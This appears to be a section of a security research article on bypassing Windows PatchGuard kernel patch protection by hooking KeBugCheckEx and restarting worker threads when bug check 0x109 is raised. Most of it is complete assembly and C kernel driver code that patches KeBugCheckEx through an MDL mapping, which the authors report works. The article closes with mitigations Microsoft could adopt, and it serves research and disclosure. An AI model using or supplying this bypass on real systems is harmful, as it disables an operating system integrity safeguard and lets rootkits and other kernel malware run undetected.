Informative Information for the Uninformed | ||||||||||||||
|
||||||||||||||
KeBugCheckEx HookOne of the unavoidable facts of PatchGuard's protection is that it has to report validation inconsistencies in some manner. In fact, the manner in which it reports it has to entail shutting down the machine in order to prevent third-party vendors from being able to continue running code even after a patch has been detected. As it stands right now, the approach taken to accomplish this is to issue a bug check with the symbolic code of 0x109 via nt!KeBugCheckEx. This route was taken so that the end-user would be aware of what had occurred and not be left in the dark, literally, if their machine were to all of the sudden shut off or reboot without any word of explanation. The first idea the authors had when thinking about bypass techniques was to attempt to have nt!KeBugCheckEx return to the caller's caller frame. This would be necessary because you cannot return to the caller since the compiler generally inserts a debugger trap immediately after calls to nt!KeBugCheckEx. However, it may have been possible to return to the frame of the caller's caller. In other words, the routine that called the function that lead to nt!KeBugCheckEx being called. However, as described earlier in this document, the PatchGuard code takes care to ensure that the stack is zeroed out prior to calling nt!KeBugCheckEx. This effectively eliminates any contextual references that might be used on the stack for the purpose of returning to parent frames. As such, the nt!KeBugCheckEx hook vector might seem like a dead-end. Quite the contrary, it's not. A derivative approach that can be taken without having to worry about context stored in registers or on the stack is to take advantage of the fact that each thread retains the address of its own entry point. For system worker threads, the entry point will typically point to a routine like nt!ExpWorkerThread. Since multiple worker threads are spawned, the context parameter passed to the thread is irrelevant as the worker threads are really only being used to process work items and expire DPC routines. With this fact in mind, the approach boils down to hooking nt!KeBugCheckEx and detecting whether or not bug check code 0x109 has been passed. If it has not, the original nt!KeBugCheckEx routine can be called. However, if it is 0x109, then the thread can be restarted by restoring the calling thread's stack pointer to its stack limit minus 8 and then jumping to the thread's StartAddress. The end result is that the thread goes back to processing work items and expiring DPC routines like normal. While a more obvious approach would be to simply terminate the calling thread, doing so would not be possible. The operating system keeps track of system worker threads and will detect if one exits. The act of a system worker thread exiting will lead to a bluescreen of the system - exactly the type of thing that is trying to be avoided. The following code implements the algorithm described above. It is fairly large for reasons that will be discussed after the snippet:
== ext.asm .data EXTERN OrigKeBugCheckExRestorePointer:PROC EXTERN KeBugCheckExHookPointer:PROC .code ; ; Points the stack pointer at the supplied argument and returns to the caller. ; public AdjustStackCallPointer AdjustStackCallPointer PROC mov rsp, rcx xchg r8, rcx jmp rdx AdjustStackCallPointer ENDP ; ; Wraps the overwritten preamble of KeBugCheckEx. ; public OrigKeBugCheckEx OrigKeBugCheckEx PROC mov [rsp+8h], rcx mov [rsp+10h], rdx mov [rsp+18h], r8 lea rax, [OrigKeBugCheckExRestorePointer] jmp qword ptr [rax] OrigKeBugCheckEx ENDP END == antipatch.c // // Both of these routines reference the assembly code described // above // extern VOID OrigKeBugCheckEx( IN ULONG BugCheckCode, IN ULONG_PTR BugCheckParameter1, IN ULONG_PTR BugCheckParameter2, IN ULONG_PTR BugCheckParameter3, IN ULONG_PTR BugCheckParameter4); extern VOID AdjustStackCallPointer( IN ULONG_PTR NewStackPointer, IN PVOID StartAddress, IN PVOID Argument); // // mov eax, ptr // jmp eax // static CHAR HookStub[] = "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0"; // // The offset into the ETHREAD structure that holds the start routine. // static ULONG ThreadStartRoutineOffset = 0; // // The pointer into KeBugCheckEx after what has been overwritten by the hook. // PVOID OrigKeBugCheckExRestorePointer; VOID KeBugCheckExHook( IN ULONG BugCheckCode, IN ULONG_PTR BugCheckParameter1, IN ULONG_PTR BugCheckParameter2, IN ULONG_PTR BugCheckParameter3, IN ULONG_PTR BugCheckParameter4) { PUCHAR LockedAddress; PCHAR ReturnAddress; PMDL Mdl = NULL; // // Call the real KeBugCheckEx if this isn't the bug check code we're looking // for. // if (BugCheckCode != 0x109) { DebugPrint(("Passing through bug check %.4x to %p.", BugCheckCode, OrigKeBugCheckEx)); OrigKeBugCheckEx( BugCheckCode, BugCheckParameter1, BugCheckParameter2, BugCheckParameter3, BugCheckParameter4); } else { PCHAR CurrentThread = (PCHAR)PsGetCurrentThread(); PVOID StartRoutine = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset); PVOID StackPointer = IoGetInitialStack(); DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).", PsGetCurrentThread(), StartRoutine, StackPointer, ThreadStartRoutineOffset)); // // Shift the stack pointer back to its initial value and call the routine. We // subtract eight to ensure that the stack is aligned properly as thread // entry point routines would expect. // AdjustStackCallPointer( (ULONG_PTR)StackPointer - 0x8, StartRoutine, NULL); } // // In either case, we should never get here. // __debugbreak(); } VOID DisablePatchProtectionSystemThreadRoutine( IN PVOID Nothing) { UNICODE_STRING SymbolName; NTSTATUS Status = STATUS_SUCCESS; PUCHAR LockedAddress; PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread(); PCHAR KeBugCheckExSymbol; PMDL Mdl = NULL; RtlInitUnicodeString( &SymbolName, L"KeBugCheckEx"); do { // // Find the thread's start routine offset. // for (ThreadStartRoutineOffset = 0; ThreadStartRoutineOffset < 0x1000; ThreadStartRoutineOffset += 4) { if (*(PVOID **)(CurrentThread + ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine) break; } DebugPrint(("Thread start routine offset is 0x%.4x.", ThreadStartRoutineOffset)); // // If we failed to find the start routine offset for some strange reason, // then return not supported. // if (ThreadStartRoutineOffset >= 0x1000) { Status = STATUS_NOT_SUPPORTED; break; } // // Get the address of KeBugCheckEx. // if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress( &SymbolName))) { Status = STATUS_PROCEDURE_NOT_FOUND; break; } // // Calculate the restoration pointer. // OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf); // // Create an initialize the MDL. // if (!(Mdl = MmCreateMdl( NULL, (PVOID)KeBugCheckExSymbol, 0xf))) { Status = STATUS_INSUFFICIENT_RESOURCES; break; } MmBuildMdlForNonPagedPool( Mdl); // // Probe & Lock. // if (!(LockedAddress = (PUCHAR)MmMapLockedPages( Mdl, KernelMode))) { IoFreeMdl( Mdl); Status = STATUS_ACCESS_VIOLATION; break; } // // Set the aboslute address to our hook. // *(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook; DebugPrint(("Copying hook stub to %p from %p (Symbol %p).", LockedAddress, HookStub, KeBugCheckExSymbol)); // // Copy the relative jmp into the hook routine. // RtlCopyMemory( LockedAddress, HookStub, 0xf); // // Cleanup the MDL. // MmUnmapLockedPages( LockedAddress, Mdl); IoFreeMdl( Mdl); } while (0); } // // A pointer to KeBugCheckExHook // PVOID KeBugCheckExHookPointer = KeBugCheckExHook; NTSTATUS DisablePatchProtection() { OBJECT_ATTRIBUTES Attributes; NTSTATUS Status; HANDLE ThreadHandle = NULL; InitializeObjectAttributes( &Attributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); // // Create the system worker thread so that we can automatically find the // offset inside the ETHREAD structure to the thread's start routine. // Status = PsCreateSystemThread( &ThreadHandle, THREAD_ALL_ACCESS, &Attributes, NULL, NULL, DisablePatchProtectionSystemThreadRoutine, NULL); if (ThreadHandle) ZwClose( ThreadHandle); return Status; } This approach has been tested and has been confirmed to work against the current version of PatchGuard at the time of this writing. The benefits that this approach has over others is that it does not rely on any un-exported dependencies or signatures, it has zero performance overhead since nt!KeBugCheckEx is never called unless the machine is going to crash, and it is not subject to race conditions. The only major con that it has that the authors are aware of is that it depends on the behavior of the system worker threads staying the same with regard to the fact that it is safe to restore execution to the entry point of the thread with a NULL context. It is assumed, so far, that this will continue to be a safe bet. In order to eliminate this approach as a possible bypass technique, Microsoft could do one of a few things. First, they could create a new protection sub-context that stores a checksum of nt!KeBugCheckEx and the functions that it calls. In the event that it is detected that nt!KeBugCheckEx has been tampered with, PatchGuard could do a hard reboot without calling any external functions. While this is a less desired behavior, it appears to be one of the few ways in which Microsoft could reliably solve this. Any other approach that relied on the calling of an external function that could be found at a deterministic address would present an opportunity for a similar bypass technique. A second, less useful approach would be to zero out some of the fields in the thread structure prior to calling nt!KeBugCheckEx. While this would prevent the above described approach from working, it would certainly not prevent another, perhaps more or less hackish approach from working. All that's required is the ability to return the worker thread to its normal operation of processing queued work items.
|